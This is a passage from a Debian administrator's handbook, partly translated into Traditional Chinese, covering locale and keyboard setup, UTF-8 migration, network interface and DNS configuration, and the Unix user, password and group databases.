在英文以外的語系工作，經常需要切換編碼與字元集。尤有甚者，撰寫多語系文件還會碰到極為頑固的問題。Unicode (幾乎包括全世界所有書寫系統的編碼) 就是用來解決此等問題。UTF-8 是 Unicode 的編碼之一，仍是 128 ASCII 符號 (7-位元代碼)，但以不同方式處理其他字元。以逸出字元為首的數個位元帶頭，設定字元的長度。此種方法允許 Unicode 字元以一個或多個位元組呈現。已是 XML 文件的預設編碼方式。

就是這個編碼表最常用，Debian 系統把它做為預設值。

The locales package includes all the elements required for proper functioning of “localization” of various applications. During installation, this package will ask you to select a set of supported languages. This set can be changed at any time by running dpkg-reconfigure locales as root.

第一件事是選擇支援的 “地區設定”。選擇英語地區設定 (表示以 “en_” 起頭) 是合理的。別忘了再選擇另個地區設定以便支援其他語系。系統的地區設定表儲存在 /etc/locale.gen 檔案內。可以手動編輯它，但在修改後應執行 locale-gen 命令。產生新增地區設定所需要的必要檔案，並且移除不需要的檔案。

The second question, entitled “Default locale for the system environment”, requests a default locale. The recommended choice in the USA is “en_US.UTF-8”. British English speakers will prefer “en_GB.UTF-8”, and Canadians will prefer either “en_CA.UTF-8” or, for French, “fr_CA.UTF-8”. The /etc/default/locale file will then be modified to store this choice. From there, it is picked up by all user sessions since PAM will inject its content in the LANG environment variable.

The locales-all package contains the precompiled locale data for all supported locales.

後台 /etc/environment 與 /etc/default/locale

/etc/environment 檔案提供 login、gdm、或 ssh 程式建置正確的環境變數。

These applications do not create these variables directly, but rather via a PAM (pam_env.so) module. PAM (Pluggable Authentication Module) is a modular library centralizing the mechanisms for authentication, session initialization, and password management. See 節 11.7.3.2, “Configuring PAM” for an example of PAM configuration.

/etc/default/locale 檔案以類似的方式運作，但祗有 LANG 環境變數。感謝此種區隔，某些 PAM 使用者可以在地區設定之外承襲完整的環境。事實上，不鼓勵在伺服器軟體執行地區設定；比較建議在使用者端的程式設定地區及區域。

8.1.2. 組態鍵盤

即使鍵盤布局與終端機和圖形介面的管理不同，Debian 仍提供單一組態介面供兩者使用：以 debconf 為基礎應用於 keyboard-configuration 套件。因此，任何時間均可使用 dpkg-reconfigure keyboard-configuration 命令重設鍵盤。

問題與鍵盤的實體配置 (美式標準鍵盤為 “通用 104 鍵”)有關，選擇配置 (通常是 “US”)，然後選取 AltGr鍵 (即右側的 Alt 鍵)。最後是 “組合鍵”，以多個鍵同時按下組合成特殊字元。連續鍵入 Compose ' e 就能產生帶讀音符號的 e (“é”)。這些組合鍵列在 /usr/share/X11/locale/en_US.UTF-8/Compose 檔案 (或其他檔案，視 /usr/share/X11/locale/compose.dir 指示的當前在地設定)。

Note that the keyboard configuration for graphical mode described here only affects the default layout; the GNOME and KDE Plasma environments, among others, provide a keyboard control panel in their preferences allowing each user to have their own configuration. Some additional options regarding the behavior of some particular keys are also available in these control panels.

8.1.3. 移殖至 UTF-8

期待已久的 UTF-8 一般化編碼是解決互通性的方案之一，可解決文件中字元的國際交換與誤值的限制。其中一個限制是必須經由相當困難的轉換階段。它可以完全透通 (就是，不會同時在全世界發生)，需要兩個轉換作業：檔案內容，以及檔案名稱。幸運的是，該等移殖已經完成且討論甚多。

文化 亂碼 與解譯錯誤

When a text is sent (or stored) without encoding information, it is not always possible for the recipient to know with certainty what convention to use for determining the meaning of a set of bytes. You can usually get an idea by getting statistics on the distribution of values present in the text, but that doesn't always give a definite answer. When the encoding system chosen for reading differs from that used in writing the file, the bytes are misinterpreted, and you get, at best, errors on some characters, or, at worst, something completely illegible.

因此，法文的內容看起來正常，祗是無法顯示 “Ã©” 或 Ã¨” 或 “Ã§” 等重音字母與符號，很可能以 UTF-8 編碼儲存但被解讀成 ISO-8859-1 或 ISO-8859-15。在地的安裝尚未移殖至 UTF-8。如果，看到問號取代重音字母 — 即使這些問號取代重音字母後的字元 — 很可能已安裝並組態為 UTF-8 不過送出的文件仍以 Western ISO 編碼。

這些都是 “簡單的” 個案。這些個案祗出現在西方文化裡，因為 Unicode (與 UTF-8) 是擴充拉丁字母為基礎的西方語系編碼，即使失漏部份字元仍可辨識其他內容。

在較複雜的環境裡，諸如，使用不同字母的兩種語文，通常得到完全不同的結果 — 彼此完全無意義的抽象符號。特別是語言與文字完全不同的亞洲語文。日文的 mojibake，即亂碼，用來說明此現象。出現時，診斷極為困難，最簡單的方法就是兩端都移殖至 UTF-8。

轉換檔名編碼，移殖工作還算簡單。convmv 工具 (以同名存在套件內) 是專門移殖用的；可以把檔名重新命名於不同的編碼。此工具還很簡單，但需要兩個步驟。下例說明在 UTF-8 環境下採用 ISO-8859-15 編碼的資料夾，以 convmv 重新命名。

$ ls travail/

Ic?nes  ?l?ments graphiques  Textes

$ convmv -r -f iso-8859-15 -t utf-8 travail/

Starting a dry run without changes...

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

No changes to your files done. Use --notest to finally rename the files.

$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

Ready!

$ ls travail/

Éléments graphiques  Icônes  Textes

以檔案內容來說，因為檔案格式的多樣性，增加轉換工作的複雜度。有些檔案格式本身包括編碼資訊協助軟體使用它們；就可以直接打開它們，並指明以 UTF-8 編碼再儲存之。其他的情況下，則必須以原始的編碼格式 (ISO-8859-1 或 “Western”、或 ISO-8859-15 或 “Western (Euro)”，視其規則而定) 開啟它們。

For simple text files, you can use recode (in the package of the same name) which allows automatic recoding. This tool has numerous options so you can play with its behavior. We recommend you consult the documentation, the recode(1) man page, or the recode info page (more complete). Alternatively, iconv supports more character sets, but has less options.

8.2. 組態網路

基本 必要的網路概念 (Ethernet、IP 位址、次網路、廣播)

Most modern local networks use the Ethernet protocol, where data is split into small blocks called frames and transmitted on the wire one frame at a time. Data speeds vary from 10 Mb/s for older Ethernet cards to 100 Gb/s in the newest cards (with the most common rate currently growing from 100 Mb/s to 10 Gb/s). The most widely used cables are called 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T and 40GBASE-T, depending on the throughput they can reliably provide (the T stands for “twisted pair”); those cables end in an RJ45 connector. There are other cable types, used mostly for speeds of 10 Gb/s and above.

IP 位址是一組數字用於辨識電腦在地區網路或網際網路的介面。最常用的是 IP 版本是 (IPv4)，此組數字由 32 位元編成，通常以句點區隔的 4 個數字表示 (如 192.168.0.1)，使用 0 至 255 之間的數字 (含在內，對應於 8 位元的資料)。通信協定的下個版本是 IPv6，採用 128 位元表示一個位址，其位址以 16 進位表示，用冒號區隔 (如，2001:0db8:13bb:0002:0000:0000:0000:0020，或 2001:db8:13bb:2::20 簡版表示)。

次網路遮罩 (網路遮罩) 設定對應於網路的 IP 位址二進位代碼，其餘的則有機器指定。在前述的固定 IPv4 位址中，次網路遮罩，255.255.255.0 (以 2 進位表示，就是 24 個 “1” 之後接著 8 個 “0”) 表示 IP 位址前 24 位元對應至網路位址，且其餘 8 個則指向機器。在 IPv6 裡，為了方便閱讀，祗表示數字 “1”；IPv6 網路的網路遮罩可以是 64。

網路位址是一個 IP 位址，描述機器的號碼是 0。IPv4 位址的範圍是完成的網路以此語法表示，a.b.c.d/e，a.b.c.d 是網路位址，而 e 是被影響的位元數。因此，此網路可寫成：192.168.0.0/24。在 IPv6 的類似語法為：2001:db8:13bb:2::/64。

路由器用於連結多個網路。進入路由器的資訊被引導至正確的網路。所以，路由器分析進來的封包，根據其目的位址轉送至其他地方。路由器通常稱為閘道器；協助進入在地網路以外的地方 (網際網路之類的外部網路)。

特定的廣播位址連結網路內所有的站台。幾乎不曾 “發送”，祗在網路內發送問題。就是說，經由廣播發送的資料封包不會通常路由器。

本章祗討論 IPv4 位址，現在最常見的。IPv6 協定的詳情在 節 10.6, “IPv6”，其概念是一樣的。

The network is automatically configured during the initial installation. If Network Manager gets installed (which is generally the case for full desktop installations), then it might be that no configuration is actually required (for example, if you rely on DHCP on a wired connection and have no specific requirements). If a configuration is required (for example, for a WiFi interface), then it will create the appropriate file in /etc/NetworkManager/system-connections/.

NOTE NetworkManager

If Network Manager is particularly recommended in roaming setups (see 節 8.2.5, “網路自動組態漫遊使用者”), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/ as described in sidebar 基本 結尾是 .d 的資料夾名稱.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections. For more information about the syntax of the configuration file please read interfaces(5).

8.2.1. Ethernet 介面

電腦使用 Ethernet 網路卡時，必須以下列的方法之一組態 IP 網路。最簡單的方式是以 DHCP 動態組態，需要在地網路的 DHCP 伺服器。可以使用與下例 hostname 設定的主機名稱。DHCP 伺服器就會送出組態設定給適當的網路。

範例 8.1. DHCP 組態

auto enp0s31f6

iface enp0s31f6 inet dhcp

hostname arrakis

IN PRACTICE Names of network interfaces

By default, the kernel attributes generic names such as eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order (at least in theory) might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6). Thus the name becomes predictable.

Obviously, you are free to override this policy and/or to complement it to customize the names of some specific interfaces. You can find out the names of the network interfaces in the output of ip addr (or as filenames in /sys/class/net/).

In some corner cases it might be necessary to disable the predictable naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 (restores the default kernel behavior) and biosdevname=0 kernel parameters to achieve that.

The predecessor of the predictable name scheme was called “persistent name scheme”. It was done using a udev rule to assign the device name based on the MAC address. This scheme has been abandoned and with the release of Debian 10 Buster users have been encouraged to migrate to predictable network device names.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

“靜態” 組態必須以固定方式指明網路設定。至少包括 IP 網址及次網路遮罩；有時也列出網路及廣播位址。必須以閘道指出連結外部的路由器。

範例 8.2. 靜態組態

auto enp0s31f6

iface enp0s31f6 inet static

address 192.168.0.3/24

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

說明 多位址

It is possible not only to associate several interfaces to a single, physical network card, but also several IP addresses to a single interface. To assign them, just create several iface entries for the same device. Remember also that an IP address may correspond to any number of names via DNS, and that a name may also correspond to any number of numerical IP addresses.

如您所想，組態可以極為複雜，不過祗限於極為特殊的例子。此處引用的例子都是一般常見的組態。

8.2.2. Wireless Interface

Getting wireless network cards to work can be a bit more challenging. First of all, they often require the installation of proprietary firmwares which are not installed by default in Debian. Then wireless networks rely on cryptography to restrict access to authorized users only, this implies storing some secret key in the network configuration. Let's tackle those topics one by one.

8.2.2.1. Installing the required firmwares

First you have to enable the non-free repository in APT's sources.list file: see 節 6.1, “寫入 sources.list 檔案” for details about this file. Many firmware are proprietary and are thus located in this repository. You can try to skip this step if you want, but if the next step doesn't find the required firmware, retry after having enabled the non-free section.

Then you have to install the appropriate firmware-* packages. If you don't know which package you need, you can install the isenkram package and run its isenkram-autoinstall-firmware command. The packages are often named after the hardware manufacturer or the corresponding kernel module: firmware-iwlwifi for Intel wireless cards, firmware-atheros for Qualcomm Atheros, firmware-ralink for Ralink, etc. A reboot is then recommended because the kernel driver usually looks for the firmware files when it is first loaded and no longer afterwards.

8.2.2.2. Wireless specific entries in /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of the wpasupplicant package which provides the required integration between ifupdown and the wpa_supplicant command used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry in /etc/network/interfaces needs to be extended with two supplementary parameters to specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

範例 8.3. DHCP configuration for a wireless interface

auto wlp4s0

iface wlp4s0 inet dhcp

wpa-ssid Falcot

wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

The wpa-psk parameter can contain either the plain text passphrase or its hashed version generated with wpa_passphrase SSID passphrase. If you use an unencrypted wireless connection, then you should put a wpa-key-mgmt NONE and no wpa-psk entry. For more information about the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.Debian.gz.

At this point, you should consider restricting the read permissions on /etc/network/interfaces to the root user only since the file contains a private key that not all users should have access to.

HISTORY WEP encryption

Usage of the deprecated WEP encryption protocol is possible with the wireless-tools package. See /usr/share/doc/wireless-tools/README.Debian for instructions.

8.2.3. 經由 PSTN 數據機的 PPP 連結

點對點 (PPP) 連結建立斷續的連結；這是電話數據機最常見的連結方式 (“PSTN 數據機”，經由公共交換電話網路)。

電話數據機需要帳號才能連結，包括電話號碼、使用者名稱、密碼、以及認證協定。這種連結 Debian 同名套件內的使用 pppconfig 工具。預設使用的名稱是 提供者 (做為網際網路服務提供者)。對認證協定有疑義時，選擇 PAP：大多數網際網路服務提供者使用它。

組態之後，就可以使用 pon 命令 (提供者 的預設值不適用時，將連結的名稱當成參數)。以 poff 命令斷線。這兩個令可以被根使用者執行，或位在 dip 群組的其他使用者。

8.2.4. 以 ADSL 數據連結

“ADSL 數據機” 一辭包括不同功能的多種設備。使用 Linux 的數據機有 Ethernet 介面 (不祗是 USB 介面)。這是極為普遍的數據機；大部份的 ADSL 網際網路服務商出借 (或出租) 一個含 Ethernet 介面的 “盒子”。視其類型而有不同的設定。

8.2.4.1. 支援 PPPOE 的數據機

部份 Ethernet 數據機使用 PPPOE 協定 (乙太網上的對等協定，Point to Point Protocol over Ethernet)。pppoeconf 工具 (位於同名套件內) 將組態其連結。修改 /etc/ppp/peers/dsl-provider 檔案內容時，採用 /etc/ppp/pap-secrets 與 /etc/ppp/chap-secrets 檔案的內容。建議全盤接納所有的提議。

組態完成之後，以命令 pon dsl-provider 開啟 ADSL 連結，並以命令 poff dsl-provider 斷線。

秘訣啟動 ppp 於開機時

PPP 在 ADSL 上的連結，其本意是斷斷續續的。因為不是依照連線時間收費，所以不必隨時打開它。標準的方法是使用 init 系統。

With systemd, adding an automatically restarting task for the ADSL connection is a simple matter of creating a “unit file” such as /etc/systemd/system/adsl-connection.service, with contents such as the following:

[Unit]

Description=ADSL connection

[Service]

Type=forking

ExecStart=/usr/sbin/pppd call dsl-provider

Restart=always

[Install]

WantedBy=multi-user.target

設定這個 unit file 之後，還需以 systemctl enable adsl-connection 命令啟動它。然後以手動方式，啟動此命令 systemctl start adsl-connection 迴圈；然後就可在開機時自動啟動。

未使用 systemd 命令的系統 (包括 Wheezy 及更早的 Debian 版本)，可使用標準的 SystemV init。在這種系統裡，祗需在 /etc/inittab 檔案加入一行字；然後，在斷線之後，執行 init 就可重新連線。

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

撥接後自動斷線的 ADSL，這種方法減少中斷的次數。

8.2.4.2. 支援 PPTP 的數據機

PPTP (點對點隧道協議，Point-to-Point Tunneling Protocol) 協定由微軟創製。在 ADSL 的初期就已布置，取代 PPPOE。若被強迫使用此協定，參見 節 10.3.4, “PPTP”。

8.2.4.3. 支援 DHCP 數據機

以 Ethernet 纜線 (跳線) 連線電腦的數據機，可以在電腦以 DHCP 組態網路連結；數據機自動成為閘道且執行路由的功能 (就是管理電腦與網際網路的流量)。

基本 直接連結 Ethernet 的跳線

電腦網路卡經由特定纜線接收資料，也從同樣的管道送出資料。電腦連上地區網路後，通常以纜線 (直接連線或跳線) 連結網路上與中繼器或交換器。若想直接連結兩部電腦 (不經過交換器或中繼器)，必須經由網路卡送出資料至接收端的另個網路卡，反之亦然。這就是跳線的作用，以及使用它的原因。

Note that this distinction has become almost irrelevant over time, as modern network cards are able to detect the type of cable present and adapt accordingly, so it won't be unusual that both kinds of cable will work in a given location.

大部份的 “ADSL 路由器” 也能這麼做，網際網路服務供應商提供的 ADSL 數據機也具有此功能。

8.2.5. 網路自動組態漫遊使用者

Falcot 公司的工程師擁有專業用的筆電，同時也在家裡使用它。根據使用場所的不同，網路有不同的組態方式。在家裡，可能使用 WiFi 網路 (以 WPA 鑰保護)，在工作場合則使用較安全與頻寬更充足的固接網路。

為了避免人工連結與斷線對應的網路介面，管理者在漫遊機器安裝 network-manager 套件。此軟體可以讓使用者從圖形桌面的小圖示，在多個網路間切換。按下此圖示即顯示可用的網路 (固接與無線)，藉以選擇其中之一。此程式儲存曾連結網路的組態，斷線時自動選擇最佳的網路。

為了達到這個目的，程式分為兩個部份：在根部執行後台進程並組態網路介面與使用者介面控制該後台進程。PolicyKit 處理必要的權限以控制此程式，然後由 Debian 組態 PolicyKit 讓 netdev 群組成員可以新增或修改 Network Manager 的連結。

Network Manager knows how to handle various types of connections (DHCP, manual configuration, local network), but only if the configuration is set with the program itself. This is why it will systematically ignore all network interfaces in /etc/network/interfaces and /etc/network/interfaces.d/ for which it is not suited. Since Network Manager doesn't give details when no network connections are shown, the easy way is to delete from /etc/network/interfaces any configuration for all interfaces that must be managed by Network Manager.

在初始安裝階段選擇 “桌面環境”的工作，就能夠預設安裝此程式。

8.3. 設定主機名稱與組態名稱服務

將 IP 數字轉換為名稱係方便記憶。實務上，IP 位址係用於辨識網路卡之類的網路介面設備。機器可能有多個網路卡，每個網路卡可能有多個介面，所以在網域名稱系統裡，一部電腦就可能有多個名稱。

然而，每部機器都有個辨識用的主要 (如 “canonical”) 名稱，儲存在 /etc/hostname 檔案內並以初始腳本經由 hostname 命令與 Linux 核心溝通。現在的值儲存在虛擬檔案系統，可經由 cat /proc/sys/kernel/hostname 命令取得。

基本 /proc/ 與 /sys/，虛擬檔案系統

/proc/ 與 /sys/ 檔案樹係由 “虛擬” 檔案系統產生。從核心 (以列出虛擬檔案方式) 取得資訊並與其溝通 (寫入虛擬檔案) 的實務。

/sys/ in particular is designed to provide access to internal kernel objects, especially those representing the various devices in the system. The kernel can, thus, share various pieces of information: the status of each device (for example, if it is in energy saving mode), whether it is a removable device, etc. Note that /sys/ has only existed since kernel version 2.6. /proc/ describes the current state of the kernel: the files in this directory contain information about the processes running on the system and its hardware.

意外的是，網域名稱的管理方式不同，來自機器的完整名稱，經由名稱解析取得。可以在 /etc/hosts 檔案內更改它；在名稱清單前寫入完整的名稱，如下例：

127.0.0.1     localhost

192.168.0.1   arrakis.falcot.com arrakis

8.3.1. 名稱解析

Linux 的名稱解析機制是模組化的且可使用 /etc/nsswitch.conf 宣稱的資料來源。涉及主機名稱解析的款目是 hosts。預設，它包括 files dns，表示系統先參照 /etc/hosts 檔案，再參照 DNS 伺服器。NIS/NIS+ 或 LDAP 伺服器是另個來源選擇。

說明 NSS 與 DNS

專門用於查詢 DNS (特別是 host) 的命令未使用標準的名稱解析機制 (NSS)。也就是，完全未考慮 /etc/nsswitch.conf，也不使用 /etc/hosts。

8.3.1.1. 組態 DNS 伺服器

DNS (網域名稱服務) 是對映名稱至 IP 位址的分散式階層服務，同時也反向對映。尤其是，把人可閱讀的名稱，如 www.eyrolles.com 對映至實際的 IP 位址 213.244.11.247。

必須先設定 DNS 伺服器，才能用到 DNS 資訊。Falcot 公司自設該伺服器，但個人使用者可能使用 ISP 提供的 DNS 伺服器。

The DNS servers to be used are indicated in /etc/resolv.conf, one per line, with the nameserver keyword preceding an IP address, as in the following example:

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

Note that the /etc/resolv.conf file may be handled automatically (and overwritten) when the network is managed by NetworkManager or configured via DHCP, or when resolvconf is installed or systemd-resolved(8) is enabled.

8.3.1.2. /etc/hosts 檔案

If there is no name server on the local network, it is still possible to establish a small table mapping IP addresses and machine hostnames in the /etc/hosts file, usually reserved for local network stations. The syntax of this file as described in hosts(5) is very simple: each line indicates a specific IP address followed by the list of any associated names (the first being “completely qualified”, meaning it includes the domain name).

即使網路停擺或 DNS 伺服器不通仍可近用此檔案，但祗適用於在地區網路所有機器重製的內容。即使是極微小的變動，都需要更新各地所有的檔案。所以， /etc/hosts 通常祗包括最重要的款目。

這個檔案對未連上網際網路的小型網路是夠用的，5 部以內的機器，建議安裝一個 DNS 伺服器較佳。

秘訣 繞過 DNS

某些應用程式先檢查 /etc/hosts 檔案才查詢 DNS，與 DNS 送回資料不同的部份，可以先儲存在這裡，並略過 DNS 的名稱解析。

修改 DNS 但尚未布署前，這種做法可以測試網站名稱與 IP 位址的對應性。

另一個可能用法是把流量轉移至指定的區域主機，避免大流量進入指定的主機。例如，可以繞過專供廣告使用的伺服器主機名稱，讓結果更順暢、少些干擾。

8.4. 使用者與群組資料庫

The list of users is usually stored in the /etc/passwd file, while the /etc/shadow file stores hashed passwords. Both are text files, in a relatively simple format, which can be read and modified with a text editor. Each user is listed there on a line with several fields separated with a colon (“:”).

說明 編輯系統檔案

本章討論的系統檔案都是純文字檔，可以用文字編輯器處理。這些檔案對核心系統的運作極為重要，編輯該等檔案時多加慎重不會錯的。首先，先複製或備份原檔案。第二，在伺服器或多人可同時近用該等檔案的機器上，多費心以防止檔案損壞。

為了達成此目標，最好使用 vipw 命令編輯 /etc/passwd 檔案，或使用 vigr 命令編輯 /etc/group 檔案。這些命令會先鎖住該等檔案再執行文字編輯器， (預設使用 vi 命令，除非 EDITOR 環境變數有其他的設定)。加上 -s 選項可同時編輯對應的 shadow 檔案。

基本 Crypt，單向的函數

crypt 是單向函數以特別的方法把字串 (A) 轉換成另個字串 (B)，轉換後無法回覆成 A 經由 B。辨識 A 的唯一方法是逐一測試所有可能的值，查驗等同於 B 的結果。最多可輸入 8 個字元 (字串 A) 然後產生 13 個字元的可列印 ASCII 字元 (字串 B)。

8.4.1. 使用者清單：/etc/passwd

在 /etc/passwd 檔案內的欄位清單：

- 登入，例如 rhertzog；

- password: this is a password encrypted by a one-way function (crypt), relying on DES, MD5, SHA-256 or SHA-512. The special value “x” indicates that the encrypted password is stored in /etc/shadow;

- uid：用於辨識個別使用者的不重複數字；

- gid：使用者主要群組 (Debian 的預設值係為每個使用者建立一個群組) 的不重複號碼；

- GECOS：通常儲存使用者全名的資料欄；

- 登入資料夾，用於儲存使用者的個人檔案 (環境變數 $HOME 通常指向此處)；

- 登入時執行的程式。通常是命令解譯器 (shell)，若指定為 /bin/false (不做任何事並立即回到控制)，則使用者無法登入。

As mentioned before, one can edit this file directly. But there are more elegant ways to apply changes, which are described in 節 8.4.3, “修改既有的帳號或密碼”.

基本 Unix 群組

Unix 群組是包括多個使用者的實體，以整合授權系統可以共享檔案 (具有同樣的權限)。可以限定程式供指定的群組使用。

8.4.2. 隱藏與加密的密碼檔：/etc/shadow

The /etc/shadow 檔案含以下的欄位：

- 登入；

- 加密的密碼；

- 管理密碼期限的欄位。

One can expire passwords using this file or set the time until the account is disabled after the password has expired.

安全 /etc/shadow 檔案安全

/etc/shadow, unlike its alter-ego, /etc/passwd, cannot be read by regular users. Any hashed password stored in /etc/passwd is readable by anybody; a cracker could try to “break” (or reveal) a password by one of several “brute force” methods which, simply put, guess at commonly used combinations of characters. This attack — called a "dictionary attack" — is no longer possible on systems using /etc/shadow.

文件 /etc/passwd、/etc/shadow 與 /etc/group 檔案格式

These formats are documented in the following man pages: passwd(5), shadow(5), and group(5).

8.4.3. 修改既有的帳號或密碼

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file (chpasswd allows administrators to update passwords for a list of users in batch mode); chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

最後，chage (CHange AGE) 命令允許管理者變更密碼的有效期 (-l 使用者 選項列出現在的設定)。以 passwd -e 使用者 命令強迫密碼失效，要求使用者登錄時變更密碼才能繼續使用。

Besides these tools the usermod command allows to modify all the details mentioned above.

8.4.4. 帳號禁用

You may find yourself needing to “disable an account” (lock out a user), as a disciplinary measure, for the purposes of an investigation, or simply in the event of a prolonged or definitive absence of a user. A disabled account means the user cannot login or gain access to the machine. The account remains intact on the machine and no files or data are deleted; it is simply inaccessible. This is accomplished by using the command passwd -l user (lock). Re-enabling the account is done in similar fashion, with the -u option (unlock). This, however, only prevents password-based logins by the user. The user might still be able to access the system using an SSH key (if configured). To prevent even this possibility you have to expire the account as well using either chage -E 1user or usermod -e 1 user (giving a value of -1 in either of these commands will reset the expiration date to never). To (temporarily) disable all user accounts just create the file /etc/nologin.

You can disable a user account not only by locking it as described above, but also by changing its default login shell (chsh -s shell user). With the latter changed to /usr/sbin/nologin, a user gets a polite message informing that a login is not possible, while /bin/false just exits while returning false. There is no switch to restore the previous shell. You have to get and keep that information before you change the setting. These shells are often used for system users which do not require any login availability.

下一步 NSS 與系統資料庫

與其使用檔案管理使用者與群組清單，還可使用其他資料庫類型，諸如 LDAP 或 db，藉由適當的 NSS (Name Service Switch 姓名服務切換) 模組。可用的模組列在 /etc/nsswitch.conf 檔案內，在 passwd、shadow 與 group 款目下。LDAP 下的 NSS 模組使用法，見 節 11.7.3.1, “Configuring NSS”。

8.4.5. 群組清單：/etc/group

群組列在 /etc/group 檔案內，單純的文字資料庫類似 /etc/passwd 檔案，包括以下的欄位：

- 群組名稱；

- 密碼 (選項)：加入群組會用到 (以 newgrp 或 sg 命令，見專欄 基本 在多個群組工作)；

- gid：不重複的群組辨識碼；

- 成員清單：屬於此群組的使用者名稱清單，以逗點區隔。

基本 在多個群組工作

終端使用者可能參加多個群組；其中一個是自己的 “主要群組”。使用者自己的主要群組，使用者初始組態時自動產生的預設值。使用者新增的檔案自動屬於該讀者，以及其主要群組。這種方式並不完全合意；例如，使用者需要在自己主要群組之外的資料夾工作，與其他群組共享其檔案。在這種情況下，使用者需以命令：newgrp 變更其主要群組，產生新的 shell，或以 sg 命令，使用其他群組。這些命令也允許使用者加入其他群組。若該等群組受密碼保護，則需先取得密碼才能執行該等命令。

使用者還可以設定資料夾的 setgid 位元，讓該資料夾內的檔案自動屬於特定群組。詳情見專欄 安全 setgid 資料夾和 sticky bit。

id 命令顯示使用者現在的狀態，包括個人辨識碼 (uid 變數)、現在的主要群組 (gid variable)、以及其所屬群組的清單 (groups 變數)。

The addgroup and delgroup commands add or delete a group, respectively. The groupmod command modifies a group's information (its gid or identifier). The command gpasswd group changes the password for the group, while the gpasswd -r group command deletes it.

秘訣 getent

getent (取得款目的意思 get entries) 命令使用適當的程式庫函數，呼叫組態於 /etc/nsswitch.conf 檔案的 NSS 模組，以標準方式檢查系統資料庫。此命令需要一個或兩個參數：被檢查的資料庫名稱、以及可能的搜尋鍵詞。因此，getent passwd rhertzog 命令將從使用者 rhertzog 中給予使用者資料庫。

8.5. 新增帳號

設定新機器後管理者需做的第一件事就是新增使用者帳號。以 adduser 命令新增使用者的名稱，做為其參數。

adduser 命令在新增帳號前先詢問若干問題，但其使用方式相當直覺。 /etc/adduser.conf 是它的組態檔，包括有趣的設定：可用於自動設定使用者的額度、或改變使用者帳號的位置；後者較少使用，但有多個使用者且需區隔該等帳號於若干硬碟時，就是很好用的工具。也可選擇不同的 shell 為預設值。

基本 額度

“額度” 指的是使用者在此機器可使用的資源上限。通常指的是磁碟空間。

新增帳號時，把使用者的家目錄置於 /etc/skel/ 模皮。提供使用者一組標準的資料夾與組態檔案。

有的時候，把使用者加入群組 (除了自己預設的 “主要” 群組) 以取得額外的權限。例如，在 audio 群組內的使用者可以近用該群組內的音效設備 (見專欄 基本 近用設備的權限)。以 adduser user group 命令就能把使用者加入該群組。

基本 近用設備的權限

每個週邊硬體設備在 Unix 之下，都是一個儲存在 /dev/ (DEVices) 的特別檔案。根據設備的特性有兩種特別檔案：“字元模式” 與 “區塊模式” 檔案，每個模式都祗有固定數量的運算元。字元模式限制讀/寫運算，區塊模式還允許搜尋可得的資料。最後，每個特別檔案有兩個數字 (“主要” 與 “次要”) 供核心辨識該設備。這種檔案以 mknod 命令新增，包括符號名稱 (人類可以理解的符號)。

特別檔案的權限對映至近用設備本身的權限。因此，/dev/mixer 這個檔案代表混音器，祗有根使用者與 audio 群組的使用者擁有讀/取權限。且祗有該等使用者才能操作混音器。

It should be noted that the combination of udev and policykit can add additional permissions to allow users physically connected to the console (and not through the network) to access to certain devices.

8.6. Shell 環境

命令解譯器 (或 shells) 是使用者接觸電腦的第一個點，必須足夠友善。大部份的人使用初始設定的腳本組態其行為 (自動完成、提示字元等)。

bash 是標準的 shell，使用 /etc/bash.bashrc 初始腳本做為 “互動” shells，並以 /etc/profile 做為 “登入” shells。

簡單說，不論在地登入或使用 ssh 遠端登入，或以 bash --login 命令登入，都啟用登入 shell。在 登入或非登入 shell 裡，該 shell 必須是互動的 (例如在 xterm-type 終端機內)；或非互動式 (使用執行式腳本)。

發現 其他 shells、其他腳本

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses the files in /etc/zsh/; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

For bash, it is useful to install and activate “automatic completion”. The package bash-completion contains these completions for most common programs and is usually enabled if the user's .bashrc configuration file was copied from /etc/skel/.bashrc. Otherwise it can be enabled via /etc/bash.bashrc (simply uncomment a few lines) or /etc/profile.

